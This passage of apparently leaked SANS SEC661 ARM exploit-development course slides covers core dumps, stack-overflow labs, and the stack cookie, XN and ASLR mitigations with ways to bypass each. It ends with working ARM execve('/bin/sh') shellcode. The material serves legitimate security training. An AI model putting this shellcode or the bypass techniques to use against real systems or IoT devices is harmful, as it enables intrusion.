like. As an attacker we don’t always have the source code for a target binary. Tools like Ghidra and IDA Pro’s
HexRays decompiler allow researchers to gain understanding as to what the function is doing.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 121


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Core Dump

09b91222e5d2d3d668cf8e52ec5d35ba
• Saves the state of a process if a crash occurs
• Writes runtime memory to a core file that can be
analyzed with gdb or objdump
nemo@mako:~$ ls /coredumps/
core-rop_target-4-1000-1000-5491-1622033845

micede1865@wii999_com
nemo@mako:~$ file /coredumps/core-rop_target-4-1000-1000-5491-1622033845
/coredumps/core-rop_target-4-1000-1000-5491-1622033845: ELF 32-bit LSB
core file, ARM, version 1 (SYSV), SVR4-style, from './rop_target
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA', real
uid: 1000, effective uid: 1000, real gid: 1000, effective gid: 1000,
execfn: './rop_target', platform: 'v7l'

In the hammerhead vm, core dumps are saved in the


/coredumps folder

24356915 SEC661 | ARM Exploit Development 122

Core dumps save the state of a program if a crash occurs. Runtime memory is written to a core file that can be
analyzed in gdb using the –c parameter or with objdump using the –s parameter. If a system is not
running ASLR (discussed in the next section), core dumps can be used to determine where specific data is
located during runtime.
Paul Erwin
For more information on core dumps, see the TLV Lab. In this lab, core dumps can be used to determine the
address of shellcode at runtime. This is needed to develop an exploit that works from the command line
since the shellcode location is different, depending on whether or not the program is ran inside a debugger.

Setting up core dumps on hammerhead:


Add the line "* soft core unlimited" to /etc/security/limits.conf using an editor such
as vi or nano.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
# Create a folder and ensure that the users have write access to the folder
sudo mkdir /coredumps
sudo chown nemo.nemo /coredumps/

# Configure the core dump location


sudo -i
echo "kernel.core_pattern=/coredumps/core-%e-%s-%u-%g-%p-%t" >
/etc/sysctl.d/02-enable-coredumps.conf
live
# The apport service was also turned off on hammerhead, since it attempted to reset the core dump location.
systemctl mask apport.service

122 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 4 | Stack Overflows

09b91222e5d2d3d668cf8e52ec5d35ba Duration Time: 45 Minutes

Buffer overflows are a classic form of memory corruption. Attackers can gain control of entire systems by
leveraging these types of vulnerabilities. In this lab we will write a buffer overflow exploit that allows us to
overwrite a saved return address (Link Register) and gain control of execution.

OBJECTIVES PREPARATION

micede1865@wii999_com
• Observing memory corruption in a debugger
• Locating the stored link register on the stack
and watching it get overwritten
This lab will be done in the Mako virtual machine.

See the SANS SEC661 workbook for detailed lab


• Gaining control of execution and redirecting instructions.
code flow
Tools used: gdb, gef

24356915 SEC661 | ARM Exploit Development 123

For detailed lab instructions, see the SANS SEC661 workbook.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 123


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab
Lab 4a 1.4a
| TLV | TLV

09b91222e5d2d3d668cf8e52ec5d35ba Duration Time: 45 Minutes

TLV stands for Type Length Value, and this is a common format used for parsing inbound data. This format
is used in everything from file structures to network protocols. We will be exploiting a function that reads in
data as TLV but does not check the length value supplied by the user.

OBJECTIVES PREPARATION

micede1865@wii999_com
• Analyzing TLV input
• Debugging and observing memory corruption
• Formatting valid input which includes
This lab will be done in the Mako virtual machine.

See the SANS SEC661 workbook for detailed lab


shellcode instructions.
• Redirecting execution and getting a shell in
gdb Tools used: gdb, gef

24356915 SEC661 | ARM Exploit Development 124

For detailed lab instructions, see the SANS SEC661 workbook.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

124 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC661.1
Course Roadmap 1. ARM Overview

09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals
2. Working with ARM
Lab: Working with ARM
3. ARM Assembly
SEC661.2 4. Emulating ARM
Exploiting IoT Devices 5. Debugging ARM
Lab: Debugging ARM Assembly
6. The Stack

micede1865@wii999_com Lab: Branching


7. Stack Overflows
Labs: Stack Overflows, TLV (Bonus)
8. Exploit Mitigations
9. Shellcode
Labs: Shellcode, Bad characters (Bonus)
10. Intro to Ghidra (Bonus)

24356915 SEC661 | ARM Exploit Development 125

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 125


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC 661.1 ARM Exploit Fundamentals

Exploit Mitigations
09b91222e5d2d3d668cf8e52ec5d35ba
Exploit mitigations are techniques that get implemented in order to prevent successful
exploitation of a system. Many of them wipe out entire categories of exploits without
even addressing the underlying software vulnerability. It is a fascinating game of cat and
micede1865@wii999_com
mouse where a devastating new security control will be introduced, but soon after a
researcher will come up with a brilliant workaround for the mitigation. As an exploit
developer it is good to be familiar with these mitigations, so that you know what you
are up against and can recognize problems as they arise.

24356915 SEC661 | ARM Exploit Development 126

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

126 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Exploit Mitigations - Overflows

09b91222e5d2d3d668cf8e52ec5d35ba
• Stack cookies
• XN (eXecute Never)
• ASLR (Address Space Layout Randomization)
• Fixing the code (i.e., bounds checking)
micede1865@wii999_com

24356915 SEC661 | ARM Exploit Development 127

Over the years, various techniques have been adopted to prevent exploitation. Stack cookies or stack canaries,
execute never (XN), and ASLR are security techniques that prevent exploits from being effective. While they
don’t address the underlying vulnerabilities, they make it difficult for an attacker to leverage a vulnerability to

Paul Erwin
the point where they get a foothold on a target system. The security game is constantly evolving and while
defenders are continually trying to come up with new ways to protect the systems, attackers are also figuring
out clever ways to work around the new blockers being put in place. However, for defenders, a major
advantage is that these mitigations can be used in conjunction with one another and provide a defense-in-depth
approach that makes it extremely difficult for attackers. While these security controls do not address the
vulnerabilities themselves, they are effective at preventing large categories of bugs from being exploited.

In contrast, bounds checking addresses the vulnerability itself. It is a broad term that refers to providing checks

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
that would prevent source data from being copied into a buffer that can’t hold it. By fixing the code,
developers prevent attackers from corrupting memory in the first place. The burden of security historically
falls on the shoulders of developers and is dependent on their awareness, skill, and diligence. Certain legacy
functions have been notorious for leading to memory corruption vulnerabilities and in response, alternative
functions were written to address these poor implementations.

live

© 2021 Hungry Hackers, LLC 127


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


strcpy vs strncpy

09b91222e5d2d3d668cf8e52ec5d35ba
/**
* strcpy - Copy a %NUL terminated string
* @dest: Where to copy the string to
* @src: Where to copy the string from
/**
* strncpy - Copy a length-limited, C-string
* @dest: Where to copy the string to
* @src: Where to copy the string from
* @count: The maximum number of bytes to copy
*/ *
char *strcpy(char *dest, const char *src) * The result is not %NUL-terminated if the source exceeds
{ * @count bytes.
char *tmp = dest; *
* In the case where the length of @src is less than that of
while ((*dest++ = *src++) != '\0') * count, the remainder of @dest will be padded with %NUL.
/* nothing */; *
return tmp; */
}

micede1865@wii999_com
strcpy - Copy src into dest until you hit
a null, then break out of the while loop.
char *strncpy(char *dest, const char *src, size_t count)
{
char *tmp = dest;

while (count) {
if ((*tmp = *src) != 0)
src++;
tmp++;
count--;
}
strncpy - Copy src into dest until you return dest;
hit a null or until the max value (count) }
is reached.

24356915 SEC661 | ARM Exploit Development 128

One example of a function that could address buffer overflows if implemented properly is strncpy. It differs
from strcpy (no “n”) in that it uses a max value (count) to determine whether or not it should break out of
the loop even if it has not reached a null byte.

Paul Erwin
Each time through the loop, the count value is decremented (count--) and when it reaches zero, it will
break out of the while loop. If the count variable / max value is implemented properly, the destination buffer
can be protected from reading in strings that are too large to fit in the buffer.

It is important to note that these functions are not safe merely because they are used. It still depends on the
developer to implement them properly. In one of the router labs, we see a real-world vulnerability caused by a
strncpy that uses the length of the source string as the max value. Because it does not take into account

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
what the destination buffer can hold, and merely bases the max value on what it sees coming in, the check
becomes ineffective.

Reference:
https://github.com/torvalds/linux/blob/master/lib/string.c
https://en.cppreference.com/w/c/string/byte/strncpy

live

128 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Avoid Problematic Functions

09b91222e5d2d3d668cf8e52ec5d35ba
• Alternative functions

strcpy( char *restrict dest, const char *restrict src );


strcpy_s(char *restrict dest, rsize_t destsz, const char *restrict src);

memcpy( void *restrict dest, const void *restrict src, size_t count );
memcpy_s( void *restrict dest, rsize_t destsz, const void *restrict src, rsize_t count );

micede1865@wii999_com
Some functions that are considered unsafe will issue a warning during compilation.
nemo@hammerhead:~/labs/verify_pin/src$ gcc -o verify_pin verify_pin.c
...
verify_pin.c:(.text+0x44): warning: the `gets' function is dangerous and should not be used.

24356915 SEC661 | ARM Exploit Development 129

Other functions have been designed specifically to address a lack of bounds checking. These alternative
functions offer parameters to specify the destination size.

memcpy -> memcpy_s


memmove -> memmove_s
strcpy -> strcpy_s
Paul Erwin
strncpy -> strncpy_s
strcat -> strcat_s

It is important to note once again that these functions require proper implementation by the developer. One
approach for an attacker/auditor is to:

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
- Identify if any of the problematic functions have been used in a target program
- Determine if the data source can be influenced by the attacker
- Check whether or not the developer implemented bounds checking sufficiently

Reference:
https://en.cppreference.com/w/c/string/byte/memcpy
https://en.cppreference.com/w/c/string/byte/memmove
https://en.cppreference.com/w/c/string/byte/strcpy
https://en.cppreference.com/w/c/string/byte/strncpy
https://en.cppreference.com/w/c/string/byte/strcat live

© 2021 Hungry Hackers, LLC 129


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Stack Cookie (aka Canary)

09b91222e5d2d3d668cf8e52ec5d35ba
• Placed on the stack just before a function’s return
address (saved lr)
• Before returning from the function, the cookie is checked
to see if it has been overwritten. If it has been
overwritten, the process will be terminated.
micede1865@wii999_com
• Modern compilers use cookies by default

24356915 SEC661 | ARM Exploit Development 130

Stack cookies are an effective way to prevent buffer overflows from allowing an attacker to gain control of
execution. At the beginning of the function, a cookie (usually a 4-byte value) is placed on the stack just before
any of the saved registers that get restored in the function’s epilogue. Before returning from the function, the

Paul Erwin
integrity of the cookie on the stack is checked to ensure that it has not been overwritten. If it has, the program
will know that some type of overflow has occurred and will usually raise an exception and crash the program.

nemo@mako:~/labs/verify_pin/src$ gcc -o verify_pin_with_stack_cookie


verify_pin.c
...
nemo@mako:~/labs/verify_pin/src$ ./verify_pin_with_stack_cookie
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
You entered:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: terminated
Aborted (core dumped)

By default, modern compilers automatically turn on stack cookies. To turn off stack cookies, you need to
provide the -fno-stack-protector parameter to gcc.

How common are stack cookies in IoT devices?


live
Neither one of the target binaries in the Netgear or Dlink routers had stack cookies enabled.

130 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Stack Overflow

09b91222e5d2d3d668cf8e52ec5d35ba
• Overflow the local stack buffer and overwrite saved LR
• When function returns, we control execution since we
overwrote the saved LR

micede1865@wii999_com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

(overflow)

stack buffer LR

24356915 SEC661 | ARM Exploit Development 131

As we discussed previously, a buffer overflow occurs when we can write past a destination buffer. A common
technique for gaining control of execution is writing past the destination buffer and overwriting the saved lr
in order to redirect to an address provided by the attacker.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 131


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Stack Overflow with Stack Cookie

09b91222e5d2d3d668cf8e52ec5d35ba
• An attacker’s input data writes past the destination and
overwrites the stack cookie on its way to LR
• Before function returns, the stack cookie is checked to
verify it has not been changed

micede1865@wii999_com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

(overflow)

stack
stack buffer LR
cookie

24356915 SEC661 | ARM Exploit Development 132

If an attacker overflows past the destination buffer, the input data will overwrite the stack cookie that has been
placed on the stack just before the saved LR. Even though the overflow has occurred, the function is still being
executed, and at the end of the function, there will be a check to see if the stack cookie still holds the value

Paul Erwin
that was placed there at the beginning of the function. If the cookie does not hold the same value, an exception
will be raised, and the program will crash.

Note: This is a simplified view. There will likely be other registers stored on the stack prior to the frame
pointer.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

132 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Stack Cookie Check in Ghidra

09b91222e5d2d3d668cf8e52ec5d35ba
Designate a local stack
variable just before the
return address. Copy a value (stack_chk_guard)
into the stack variable

micede1865@wii999_com
Check the saved value
and ensure it holds
stack_chk_guard before
returning from this A call to __stack_chk_fail
function. If not, call will crash the process.
__stack_chk_fail

24356915 SEC661 | ARM Exploit Development 133

This is an example of a binary that has stack cookies enabled. This binary is not included in the lab files to
avoid confusion, but you can compile this on your own in the mako vm.

Paul Erwin
nemo@mako:~/labs/verify_pin/src$ gcc -o verify_pin_with_stack_cookie
verify_pin.c

In the verify_pin function above, we see a stack variable called local_c. This variable is stored on the
stack just before any of the registers (including the saved LR) that were saved to the stack during the function
call and prologue. Essentially, this variable sits between the local stack variables and the saved registers.

A value called __stack_ch_guard is copied into the local_c variable.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
local_c = __stack_chk_guard

We do not know this value just by looking at this function, but we do see a check just before the function
returns. It performs a xor (^) between the original value (__stack_chk_guard) that was copied into
local_c with the value that local_c currently holds.

if ((__stack_chk_guard ^ local_c) != 0)

live
If there are any differences, the function __stack_chk_fail is called, and the program will be
terminated.

© 2021 Hungry Hackers, LLC 133


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Stack Cookie/Canary - Workarounds

09b91222e5d2d3d668cf8e52ec5d35ba
• Gain control of execution prior to the check
• Leak the cookie value prior to the overflow
• Is the cookie a static or predictable value?
• Skip over the cookie and write past it
micede1865@wii999_com

24356915 SEC661 | ARM Exploit Development 134

Stack cookies can create a significant challenge for attackers. One workaround for stack-based buffer
overflows would be to gain control of execution prior to the check. If there is a function pointer within the
stack frame that can be overwritten and called prior to the function returning, it may be possible to gain control

Paul Erwin
of execution while avoiding overwriting the stack cookie.

Another approach would be to try to leak the stack cookie prior to delivering the exploit. This would be
challenging and involves an information disclosure technique that would most likely require a separate exploit
in addition to the original vulnerability.

In custom implementations, a developer may use a deterministic stack cookie. These cookies may be a static
value that can be placed in the exploit buffer prior to delivery. This would be an example of a poor

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
implementation.

The google project zero team gives an example of another way to get around a stack cookie. In the article
below they show a software bug that allowed the attacker to write data to an offset past the stack location
where the stack cookie was stored, so that it skips over the cookie entirely.

Reference:
https://googleprojectzero.blogspot.com/2015/06/what-is-good-memory-corruption.html

live

134 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Execute Never (XN)

09b91222e5d2d3d668cf8e52ec5d35ba
• Determines whether instructions can be executed from a
memory region
• Affects if we can execute shellcode in a specific region
(i.e., stack memory)
micede1865@wii999_com

24356915 SEC661 | ARM Exploit Development 135

If the execute never (XN) bit is set to 1, that designated memory cannot be executed. This security protection
is used to mark large regions of memory (such as the stack) as non-executable. The stack is a good example.
As we have learned, the stack is used for storing local variables and passing data between functions. It often

Paul Erwin
holds user-provided data, which should not be abused as executable instructions such as shellcode. In order to
protect against malicious activity, these data sections should be treated as data and never as executable
instructions.

Reference:
https://developer.arm.com/documentation/ddi0360/f/memory-management-unit/memory-access-
control/execute-never-bits

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
ARM Architecture Reference Manual, ARMv8 (Section D4.4.3)
https://developer.arm.com/documentation/ddi0487/ak/

live

© 2021 Hungry Hackers, LLC 135


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Non-Executable Stack

09b91222e5d2d3d668cf8e52ec5d35ba
• The stack is used for
• Function storage (stack frame)
• local variables
• Passing arguments between functions
• The stack is not executable by default
micede1865@wii999_com
nemo@mako:~$ cat /proc/1600/maps
00437000-00438000 r-xp 00000000 00:32
00447000-00448000 r--p 00000000 00:32
2230705
2230705
/home/nemo/labs/leak/leak
/home/nemo/labs/leak/leak
00448000-00449000 rw-p 00001000 00:32 2230705 /home/nemo/labs/leak/leak
00bbf000-00be0000 rw-p 00000000 00:00 0 [heap]
b6e3a000-b6f23000 r-xp 00000000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
...
bece9000-bed0a000 rw-p 00000000 00:00 0 [stack]

24356915 SEC661 | ARM Exploit Development 136

The stack is used for storing and passing data between functions and should not be executable. In Linux, if you
have sufficient permissions for a process, there is an easy way to view information about its memory
mappings. This will show the permissions for each of the regions and where they are loaded in process

Paul Erwin
memory. Here we see that the stack is readable, writeable, but not executable (rw-p) for process id 1600. Use
the ps command to find the process that you want to enquire about and display the memory map by running
the command:

cat /proc/<process id>/maps

The stack is not executable by default when new programs are compiled with gcc. To enable an executable
stack for training purposes we use the “-z execstack” parameter.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

136 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


XN - Workarounds

09b91222e5d2d3d668cf8e52ec5d35ba
• Use ROP (return oriented programming)
• We will be discussing this further in Section 2
• Turn off the protection prior to executing shellcode

micede1865@wii999_com

24356915 SEC661 | ARM Exploit Development 137

The primary workaround for XN is rop. We speak more about rop in another section, but essentially it allows
you to execute small chunks of instructions in order to accomplish a bigger goal. Sometimes rop can be
used to turn off some of the memory protections that prevent instructions from being executed. For example, if

Paul Erwin
we delivered our shellcode to a non-executable region of memory, it may be possible to execute a rop chain
to mark that memory as executable and then jump to our shellcode.

In order to utilize rop, we need to know the addresses of the rop gadgets that we want to jump to, which
brings us to ASLR.

Reference:
https://ret2rop.blogspot.com/2018/08/make-stack-executable-again.html

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 137


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


ASLR - Address Space Layout Randomization

09b91222e5d2d3d668cf8e52ec5d35ba
• Randomizing the base address of memory regions at
runtime
• The base address changes, shifting the contents of the memory
region
• Offsets to specific data within the memory regions remain the
same, but their runtime addresses get shifted
micede1865@wii999_com
• Changes every time the process restarts

24356915 SEC661 | ARM Exploit Development 138

ASLR or Address Space Layout Randomization changes the base address of memory segments that get loaded
when a process is started. The base address will change, and all the addresses within that segment shift or slide
to different addresses than before. ASLR can be used on code segments as well as data segments like the stack

Paul Erwin
and heap. ASLR provides a strong line of defense against attackers trying to develop a working exploit. With
the shifting of the addresses at runtime, the attacker is left guessing as to where they need to jump to once they
gain control of execution.

Level of entropy may vary

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

138 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


ASLR - Workarounds

09b91222e5d2d3d668cf8e52ec5d35ba
• Identify a non-ASLR memory region
• Brute forcing
• Memory leaks
nemo@mako:~$ cat /proc/1600/maps

micede1865@wii999_com
00437000-00438000 r-xp 00000000 00:32
00447000-00448000 r--p 00000000 00:32
00448000-00449000 rw-p 00001000 00:32
00bbf000-00be0000 rw-p 00000000 00:00
2230705
2230705
2230705
0
/home/nemo/labs/leak/leak
/home/nemo/labs/leak/leak
/home/nemo/labs/leak/leak
[heap]
b6e3a000-b6f23000 r-xp 00000000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
b6f23000-b6f32000 ---p 000e9000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
b6f32000-b6f34000 r--p 000e8000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
b6f34000-b6f36000 rw-p 000ea000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so

base addresses

24356915 SEC661 | ARM Exploit Development 139

When a target process is using ASLR, there may be some memory segments where ASLR is not being used. If
there is a segment that is not using ASLR, it may be possible to leverage that segment to get a working exploit.
For example, you might be able to find rop gadgets or static function addresses that can be utilized. A

Paul Erwin
memory leak can also provide a workaround for ASLR. The memory leak has to provide enough information
about the memory mapping in the target process so that you can build your exploit. If you can launch multiple
exploits without losing access to the target service, it may be possible to bypass ASLR by brute force.

These workarounds are discussed over the next few slides.

We looked at the ‘/proc/<process id>/maps’ file previously when looking at permissions. This file
also shows the base address for each of the loaded memory modules. If the addresses on the following page

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
stay the same every time the process is ran, it is not likely using ASLR.

live

© 2021 Hungry Hackers, LLC 139


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Using a Memory Leak as an ASLR Workaround

09b91222e5d2d3d668cf8e52ec5d35ba
• Memory leaks may require a separate exploit
• Use the offset of a leaked memory address to calculate
runtime addresses required by the exploit (i.e., rop
gadgets, functions, shellcode)
micede1865@wii999_com
• If the process crashes or restarts, the base addresses will
change

24356915 SEC661 | ARM Exploit Development 140

Memory leaks can potentially be used to reveal addresses of a running process that we can leverage in order to
build a functional exploit. The memory leak must provide us with enough information that we can determine
the addresses we need prior to launching the exploit. The addresses we need may include rop gadgets, function

Paul Erwin
addresses, or the address of our shellcode. By leaking enough information to calculate the addresses we need,
it is sometimes possible to bypass ASLR.

Memory leaks require some sort of information disclosure. This can sometimes be obtained through some type
of logic flaw but most likely will require a separate exploit. Unfortunately, this means finding a new
information disclosure vulnerability in the target to use in conjunction with the original vulnerability that we
are trying to leverage, in order to gain control of execution.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
This topic is discussed further in the Memory Leak section of this course.

live

140 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC661.1
Course Roadmap 1. ARM Overview

09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals
2. Working with ARM
Lab: Working with ARM
3. ARM Assembly
SEC661.2 4. Emulating ARM
Exploiting IoT Devices 5. Debugging ARM
Lab: Debugging ARM Assembly
6. The Stack

micede1865@wii999_com Lab: Branching


7. Stack Overflows
Labs: Stack Overflows, TLV (Bonus)
8. Exploit Mitigations
9. Shellcode
Labs: Shellcode, Bad characters (Bonus)
10. Intro to Ghidra (Bonus)

24356915 SEC661 | ARM Exploit Development 141

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 141


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC 661.2 Exploiting IoT Devices

Shellcode
09b91222e5d2d3d668cf8e52ec5d35ba
If you understand assembly, you’re off to a good start for learning shellcode. Shellcode
allows us to deliver arbitrary instructions to a target system. In this section, we will
walk through some sample shellcode and assemble it. We will also discuss some
micede1865@wii999_com
common problems with shellcode, like alignment and bad characters. Knowing how
shellcode works enables researchers to modify existing code, or even write their own
from scratch.

24356915 SEC661 | ARM Exploit Development 142

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

142 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Shellcode

09b91222e5d2d3d668cf8e52ec5d35ba
• Written in assembly
• Introduced onto a target system by an attacker
• Execution is redirected to shellcode
• Not just getting a shell:
micede1865@wii999_com
• Elevate privileges, change configuration, add a user, set a
password, etc.

24356915 SEC661 | ARM Exploit Development 143

Shellcode is code that is delivered by the attacker and used to establish or gain further access to a target
system. It is usually written in assembly and should be small, simple, and specific to what you want to
accomplish as an attacker. The size can be a limiting factor depending on how it gets delivered. If you are

Paul Erwin
remotely logged into a system and are trying to do privilege escalation it may not be a problem, but if you are
sending your shellcode in a fixed-size network packet or only have a small data buffer, your shellcode may
need to be very concise. It is usually position-independent, since you may not know where your code will land
in memory. Despite the name, shellcode can be used for things other than just getting a shell on a target. It can
be used to add a user, change configuration, etc.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 143


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Compiling a C Program with GCC

09b91222e5d2d3d668cf8e52ec5d35ba
simple_loop.c

#include <stdio.h>
simple_loop.s

...
main:
simple_loop.o

...
80 b5 84 b0 00 af 78 60
simple_loop

binary executable file

int main() push {r7, lr} 39 60 0a 23 bb 60 00 23


{ sub sp, sp, #16 fb 60 02 e0 fb 68 01 33
add r7, sp, #0 fb 60 fa 68 bb 68 9a 42
int i; str r0, [r7, #4] f8 db 40 f2 00 00 c0 f2
int max = 10; str r1, [r7] 00 00 f9 68 ff f7 fe ff
movs r3, #10 00 23 18 46 10 37 bd 46
for(i=0; i<max; i++) { str r3, [r7, #8] 80 bd
}

micede1865@wii999_com
printf("tot: %d\n", i);
...
movs
str
b
r3, #0
r3, [r7, #12]
.L2

return 0;
}
Step 1 Step 2 Step 3
Compile Assemble Link

24356915 SEC661 | ARM Exploit Development 144

Recall that gcc takes care of preprocessing (not shown), compiling, assembling and linking under the hood.
This gives us an ELF binary that can run on the system. With shellcode, we do not need a full ELF binary and
we are not using C source code.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

144 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Assembling into Object Code

09b91222e5d2d3d668cf8e52ec5d35ba simple_loop.s

...
main:
simple_loop.o

...
80 b5 84 b0 00 af 78 60
push {r7, lr} 39 60 0a 23 bb 60 00 23
sub sp, sp, #16 fb 60 02 e0 fb 68 01 33
add r7, sp, #0 fb 60 fa 68 bb 68 9a 42
str r0, [r7, #4] f8 db 40 f2 00 00 c0 f2
str r1, [r7] 00 00 f9 68 ff f7 fe ff
movs r3, #10 00 23 18 46 10 37 bd 46
str r3, [r7, #8] 80 bd

micede1865@wii999_com ...
movs
str
b
r3, #0
r3, [r7, #12]
.L2

Assemble

24356915 SEC661 | ARM Exploit Development 145

Typically, we are writing or modifying code in assembly. The step from taking assembly instructions and
creating an object file can be done with GNU’s as command. There is a version of as in our cross-compile
toolchain (arm-linux-gnueabi-as), but in our lab we will run the as command from within our mako (ARMv7)
vm.
Paul Erwin
nemo@mako:~/labs/shellcode/asm$ as -o sc.o shellcode-696.s

nemo@mako:~/labs/shellcode/asm$ file sc.o


sc.o: ELF 32-bit LSB relocatable, ARM, EABI5 version 1 (SYSV), not
stripped

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Assembly files typically use the .s extension.

live

© 2021 Hungry Hackers, LLC 145


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Execve Shellcode

09b91222e5d2d3d668cf8e52ec5d35ba
//Modified shellcode from: http://shell-storm.org/shellcode/files/shellcode-696.php

_start:
.arm // Indicates the following instructions are arm (default)
add r3, pc, #1 // Add 1 to pc and store it in r3
bx r3 // Jump to the address stored in r3

.thumb // Indicates the following instructions are thumb


mov r0, pc // Move pc into r0
adr r0, _cmd // Store the address of our string (_cmd) in r0
nop // Used for the alignment

micede1865@wii999_com
sub
sub
strb
mov
r1,
r2,
r1,
r7,
r1, r1
r2, r2
[r0, #7]
#11
//
//
//
//
Set r1 to 0 without using null bytes
Set r2 to 0 without using null bytes
Store a null byte at the end of our string (replaces "A")
Move 11 into r7, service call id for execve
svc 1 // Supervisor call
_cmd:
.ascii "/bin/shA" If writing or modifying
shellcode, use lots of
comments!

24356915 SEC661 | ARM Exploit Development 146

The sample shellcode shown here was taken from shell-storm.org and has been slightly modified and
comments have been added. From our session on ARM assembly, we should be familiar with most of these
instructions. The adr instruction returns the address of a label calculated based on the current location. In

Paul Erwin
assembly we can use labels that end with a ‘:’. In the example, you may have noticed the adr instruction
references the _cmd label.

The .arm and .thumb keywords are recognized by the assembler and designate the instruction type.

When writing in assembly, it is a good idea to comment your code well. It may save you a ton of time if you
need to modify and reuse shellcode three years after you originally wrote it.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Reference:
http://shell-storm.org/shellcode/files/shellcode-696.php
https://developer.arm.com/documentation/102374/0101/Registers-in-AArch64---other-registers

live

146 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
